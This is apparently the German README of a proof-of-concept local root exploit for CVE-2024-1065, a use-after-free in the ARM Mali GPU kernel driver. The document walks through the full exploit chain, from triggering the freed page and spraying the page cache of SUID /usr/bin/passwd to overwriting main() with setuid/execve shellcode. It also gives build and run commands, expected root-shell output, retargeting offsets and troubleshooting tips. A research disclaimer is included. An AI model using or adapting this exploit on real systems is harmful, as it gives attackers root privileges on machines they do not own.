
Proof-of-Concept-Exploit für CVE-2024-1065, der Page-Cache-Ausnutzung über einen Use-after-Free im ARM-Mali-GPU-Kernel-Treiber demonstriert, um beliebige Codeausführung als Root ohne Datenträgeränderung zu erreichen.
Proof-of-Concept-Exploit für CVE-2024-1065, einen Use-After-Free einer physischen Seite im ARM Mali GPU-Kernel-Treiber. Der Exploit demonstriert Page-Cache-Ausnutzung: Durch Rennen einer freigegebenen MIGRATE_MOVABLE-Seite in das In-Memory-Code-Image eines SUID-Binärprogramms wird diese überschrieben, um eine beliebige Codeausführung als Root zu erreichen, ohne eine Datei auf der Festplatte zu verändern.
Nur zu Forschungszwecken. Dieser PoC zielt auf eine gepatchte Schwachstelle auf einem kontrollierten x86-Testsystem ab. Der angreifbare Codepfad kann auf Produktions-Pixel-Geräten nicht aus dem Userspace ausgelöst werden.
UAF auslösen — Eine anonyme Seite wird über KBASE_IOCTL_MEM_IMPORT in den Mali GPU-Treiber importiert und zweimal in den Userspace gemappt. Das Freigeben beider Mappings gibt die physische Seite an die MIGRATE_MOVABLE-Buddy-Freeliste zurück, während cpu_mapping2 sie weiterhin aliast.
Page Cache sprayen — Der Exploit öffnet /usr/bin/passwd 100 Mal und entfernt wiederholt die Seite an PAGE_OFFSET mit posix_fadvise(POSIX_FADV_DONTNEED), löst dann einen Cache-Fehler mit pread aus. Jeder Fehler zwingt den Kernel, eine neue MIGRATE_MOVABLE-Seite zu allozieren, und durchläuft die Freeliste, bis die UAF-Seite ausgewählt wird.
Überlappung bestätigen — Ein Test-Byte-Lesen durch cpu_mapping2 an MAIN_OFFSET bestätigt, dass die UAF-Seite nun den Page-Cache-Eintrag des Binärprogramms stützt. Die Werte 0x00 und 0x61 zeigen einen Fehler an; alles andere ist echter Binärcode.
Shellcode injizieren — memcpy durch cpu_mapping2 überschreibt main() mit Shellcode, der setuid(0), setgid(0) und execve("/bin/sh") aufruft.
Ausführen — execve("/usr/bin/passwd") wird aufgerufen. Der ELF-Loader mappt die Page-Cache-Seiten des Binärprogramms als ausführbar. Die korrumpierte Seite ist bereits vorhanden – es findet kein Plattenlesen statt – also läuft der Shellcode als Root.
gcc -O2 -o exploit exploit.c
./exploit
Erwartete Ausgabe:
[*] Opened /usr/bin/passwd x100
[*] MEM_IMPORT: flags=0x... gpu_va=0x... va_pages=0x1
[*] gpu_mapping (VA 1): 0x...
[*] cpu_mapping2 (VA 2): 0x...
[*] UAF triggered — stale mapping alive at 0x...
[*] Spraying page cache (100 attempts)...
[+] Overlap confirmed on attempt N (byte=0xf3) — cpu_mapping2 aliases the page cache!
[*] Shellcode written. Triggering execve...
# id
uid=0(root) gid=0(root) groups=0(root)
Alle zielspezifischen Werte sind am Anfang von exploit.c definiert:
#define TARGET_BINARY "/usr/bin/passwd"
#define PAGE_OFFSET 0x4000 /* file offset of the page containing main() */
#define MAIN_OFFSET 0xbc0 /* intra-page offset of main() */
Um auf ein anderes Binärprogramm umzuzielen, finden Sie den Funktions-Offset, indem Sie _start an der Einstiegspunktadresse disassemblieren (readelf -h), und berechnen Sie dann:
PAGE_OFFSET = sym_va & ~0xfff
MAIN_OFFSET = sym_va & 0xfff
Vor dem Ausführen überprüfen:
dd if=<TARGET_BINARY> bs=1 skip=$((PAGE_OFFSET + MAIN_OFFSET)) count=8 2>/dev/null | xxd
| Anforderung | Wert |
|---|
| Architektur | x86-64 |
| Kernel | 5.15 (getestet auf 5.15.0+) |
| Kernel-Konfiguration | CONFIG_MALI_NO_MALI=y, CONFIG_MALI_CSF_SUPPORT=y, r48 |
| Gerät | /dev/mali0 vom Userspace aus zugänglich |
| Ziel-Binärprogramm | /usr/bin/passwd (SUID root) |
| Symptom | Ursache | Lösung |
|---|
| Sprayen schlägt nach 100 Versuchen fehl | UAF-Seite vor dem Wettrennen verbraucht | Zielseite vor dem Auslösen der UAF vorzeitig entfernen; NUM_FDS erhöhen |
kernel BUG at mm/page_poison.c | Testprüfung auf 0xaa-Seitenvergiftungsbyte bestanden | probe != 0xaa zur Bestätigungsprüfung hinzufügen |
SYSCHK schlägt bei MEM_IMPORT fehl | Mali-Treiber nicht geladen oder falsche Version | CONFIG_MALI_NO_MALI und Treiberversions-Handshake prüfen |